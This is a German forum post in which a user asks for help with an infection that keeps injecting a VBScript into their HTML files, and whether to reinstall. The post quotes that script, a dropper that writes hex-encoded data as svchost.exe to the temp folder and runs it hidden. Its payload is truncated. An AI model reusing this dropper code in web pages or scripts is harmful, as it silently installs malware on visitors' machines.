Java Drive By

'itz awzm

Moinsen,

ich habe seit kurzem das Problem, dass sich ein Vb-Skript ständig in meine Html Dokumente schreibt. Kenne mich schon ein wenig in der Szene aus und habe mir wohl durch einen Java Drive By etwas eingefangen. Jedenfalls verteilt sich das Teil quer durchs System und auch über die Festplatten. Aber nur in Html Dokumenten. Javascript Dokumente habe ich schon durchgeguckt und konnte nichts finden.

Hier ein Auszug:

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF......."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

Nun die Frage. Lässt sich da noch was machen, oder sollte ich mein System einmal komplett wieder neu aufsetzen? Mein Kumpel hatte dies auch mal, nur sein Problem war, dass sich der Virus trotz Formatierung, immer neu verteilt hat. Wahrscheinlich wegen den Html Dokumenten.